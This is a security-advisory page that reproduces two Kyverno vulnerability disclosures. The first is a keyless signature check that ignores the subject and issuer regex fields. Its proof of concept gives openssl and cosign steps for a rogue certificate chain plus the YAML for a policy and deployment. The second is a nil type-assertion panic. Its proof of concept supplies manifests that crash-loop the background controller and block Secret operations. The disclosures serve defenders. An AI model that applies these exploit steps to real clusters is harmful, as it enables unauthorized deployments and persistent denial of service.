Where
AND
-Infinity
0
Severity
8
EPSS
0.02%
AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N

Summary Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate.

Details Kyverno checks only subject and issuer fields when verifying an artifact's signature: https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537. While there are subjectRegExp and issuerRegExp fields that can also be used for the defining expected subject and issue values. If the last ones are used then their values are not taken in count and there is no actually restriction for the certificate that was used for the image sign.

PoC

For the successful exploitation attacker needs: - Private key of any certificate in the certificate chain that trusted by cosign. It can be certificate that signed by company's self-signed Root CA if they are using their own PKI. - Access to container registry to push artifacts images - Availability to deploy malicious artifacts to the kubernetes cluster

1. Generate certificate that will be used for the image signing with the oidcissuer url. That can be done with the Fulcio or manually by using openssl

Create self-signed RootCA openssl req -x509 -newkey rsa:4096 -keyout root-ca-key.pem -sha256 -noenc -days 9999 -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Root Certificate Authority" -out root-ca.pem

Create request for the intermediate certificate openssl req -noenc -newkey rsa:4096 -keyout intermediate-ca-key.pem -addext "subjectKeyIdentifier = hash" -addext "keyUsage = critical,keyCertSign" -addext "basicConstraints = critical,CA:TRUE,pathlen:2" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Intermediate Certificate Authority" -out intermediate-ca.csr

Issue intermediate cert with RootCA openssl x509 -req -days 9999 -sha256 -in intermediate-ca.csr -CA root-ca.pem -CAkey root-ca-key.pem -copyextensions copy -out intermediate-ca.pem

OID11 is the hexadecimal representation of the oidcissuer url OID11=$(echo -n "https://me.net" | xxd -p -u)

Create request for the leaf certificate openssl req -noenc -newkey rsa:4096 -keyout my-key.pem -addext "subjectKeyIdentifier = hash" -addext "basicConstraints = critical,CA:FALSE" -addext "keyUsage = critical,digitalSignature" -addext "subjectAltName = email:me@me.net" -addext "1.3.6.1.4.1.57264.1.1 = DER:${OID11}" -addext "1.3.6.1.4.1.57264.1.8 = ASN1:UTF8String:https://me.net" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=My Cosign Certificate" -out my-cert.csr

Issue leaf cert with Intermediate CA openssl x509 -req -in my-cert.csr -CA intermediate-ca.pem -CAkey intermediate-ca-key.pem -copyextensions copy -days 9999 -sha256 -out my-cert.pem

Generate certificates chain cat intermediate-ca.pem root-ca.pem > cert-chain.pem

2. Build and push container image 2. Import key and sign the image with the generated certificate COSIGNPASSWORD="" cosign import-key-pair --key my-key.pem --output-key-prefix=import-my-key COSIGNPASSWORD="" cosign sign $IMAGEWITHHASH --tlog-upload=false --cert my-cert.pem --cert-chain cert-chain.pem --key import-my-key.key

3. Add ClusterPolicy for the Kyverno with the wrong subject and issuer regexp. Adding (Fulcio) Root CA as secret and using it in policy is optional only if cosign cannot trust it: apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: check-image-keyless spec: validationFailureAction: Enforce webhookTimeoutSeconds: 30 rules: - name: check-image-keyless match: any: - resources: kinds: - Pod context: - name: encodedCert apiCall: urlPath: "/api/v1/namespaces/kyverno/secrets/fulcio-ca" method: GET jmesPath: "data.\"fulcio-ca.pem\"" - name: root variable: jmesPath: "base64decode(encodedCert)" verifyImages: - imageReferences: - "<IMAGEREGEXP>" attestors: - entries: - keyless: subjectRegExp: https://ivalid issuerRegExp: https://ivalid roots: "{{root}}" rekor: url: <URLTOREKOR> pubkey: |- -----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY----- ctlog: pubkey: |- -----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY-----

4. Deploy previously signed image apiVersion: apps/v1 kind: Deployment metadata: labels: app: image-sign name: image-sign namespace: default spec: replicas: 2 selector: matchLabels: app: image-sign strategy: {} template: metadata: annotations: labels: app: image-sign spec: containers: - image: <YOURIMAGE> imagePullPolicy: Always name: image-signing ports: - containerPort: 5000 resources: requests: memory: 500Mi cpu: 0.1 limits: memory: 2Gi cpu: 0.2 restartPolicy: Always status: {}

5. The deployment with pods will be create successfully due to not checking subjectRegExp and issuerRegExp fields validation

Impact Deploying unauthorized kubernetes resources that can lead to full compromise of kubernetes cluster

P.S. Problem was discovered by me when testing image sign verifying with keyless signing: https://kubernetes.slack.com/archives/CLGR9BJU9/p1740136401365279?threadts=1740136401.365279&cid=CLGR9BJU9. Then it was verified and fixed by Mohcode. But i think it should be registered as security problem such as it allows to bypass part of the verification mechanism and Kyverno users should be aware of it.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Summary

An unchecked type assertion in the forEach mutation handler allows any user with permission to create a Policy or ClusterPolicy to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected.

Details

In pkg/engine/mutate/mutation.go, the ForEach function performs a bare type assertion on a map value that can be nil:

go patcher := NewPatcher(fe["patchStrategicMerge"], fe["patchesJson6902"].(string))

When a forEach rule uses a patchesJson6902 field containing a variable substitution (e.g., {{ element.nonexistent }}) that resolves to nil at runtime, the type assertion .(string) on a nil interface{} triggers an unrecoverable Go panic:

panic: interface conversion: interface {} is nil, not string

When a mutateExisting rule triggers, the admission controller creates an UpdateRequest resource that the background controller processes asynchronously. This resource survives controller restarts, re-triggering the panic on every restart until the policy or UpdateRequest is deleted.

The background controller processes mutateExisting rules in worker goroutines where k8s.io/apimachinery/pkg/util/runtime.HandleCrash catches panics but re-panics by default, killing the process. The admission controller survives because Go's net/http server absorbs panics in handler goroutines via defer recover(), though the connection is dropped.

The vulnerable code was introduced in #10702. Kyverno versions v1.13.0 to v1.17.1 are affected.

PoC

Apply the following manifest:

yaml --- PoC A: Namespaced Policy crashes the background controller --- apiVersion: kyverno.io/v1 kind: Policy metadata: name: poc-background-crash namespace: default spec: mutateExistingOnPolicyUpdate: true rules: - name: crash-foreach-nil match: any: - resources: kinds: - ConfigMap mutate: targets: - apiVersion: v1 kind: ConfigMap name: poc-target namespace: default foreach: - list: "target.data | keys(@)" patchesJson6902: "{{ element.nonexistent }}" --- apiVersion: v1 kind: ConfigMap metadata: name: poc-target namespace: default data: key1: value1 --- This ConfigMap creation triggers the mutateExisting rule via UpdateRequest apiVersion: v1 kind: ConfigMap metadata: name: poc-trigger namespace: default data: trigger: "true" --- --- PoC B: ClusterPolicy panics the admission controller (connection drop) --- Effect: all Secret create/update operations are blocked cluster-wide The admission controller does not crash (net/http recovers), but every matching request gets EOF -> webhook failure -> denied apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: poc-admission-panic spec: rules: - name: panic-foreach-nil match: any: - resources: kinds: - Secret mutate: foreach: - list: "request.object.data | keys(@)" patchesJson6902: "{{ element.nonexistent }}"

Verify:

bash After ~5 seconds, background controller is in CrashLoopBackOff: kubectl get pods -n kyverno -l app.kubernetes.io/component=background-controller

Admission panic — all Secret operations fail with EOF: kubectl create secret generic test-secret --from-literal=key=value Error: failed calling webhook "mutate.kyverno.svc-fail": ... EOF

Admission controller logs:

http: panic serving 10.244.0.1:64359: interface conversion: interface {} is nil, not string goroutine 1914 [running]: net/http.(conn).serve.func1() net/http/server.go:1943 +0xb4 panic({0x3947fc0?, 0x40023e3890?}) runtime/panic.go:783 +0x120 github.com/kyverno/kyverno/pkg/engine/mutate.ForEach({0x394e240?, 0x0?}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, 0x0, ...}, ...) github.com/kyverno/kyverno/pkg/engine/mutate/mutation.go:81 +0x3e0 github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(forEachMutator).mutateElements(0x4002609410, {0x4cd78d8, 0x40023b1d10}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, ...}, ...) github.com/kyverno/kyverno/pkg/engine/handlers/mutation/common.go:126 +0x4e8 github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(forEachMutator).mutateForEach(0x4002609410, {0x4cd78d8, 0x40023b1d10}) ...

Impact

Persistent denial of service of cluster-wide Kyverno controllers. Policy is a namespaced resource whose creation can be delegated to namespace users via standard Role/RoleBinding, without granting any cluster-level permissions. Such a user can:

1. Crash the background controller into a persistent CrashLoopBackOff, halting all background processing (generate rules, mutateExisting rules, cleanup) across all namespaces in the cluster, not just their own. 2. Block admission operations for matched resource kinds within their namespace via the admission controller webhook panic path. With a ClusterPolicy (requiring cluster-level RBAC), the admission block extends cluster-wide.

The crash loop is self-sustaining because the poisoned UpdateRequest remains in the queue and re-triggers the panic on every controller restart.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203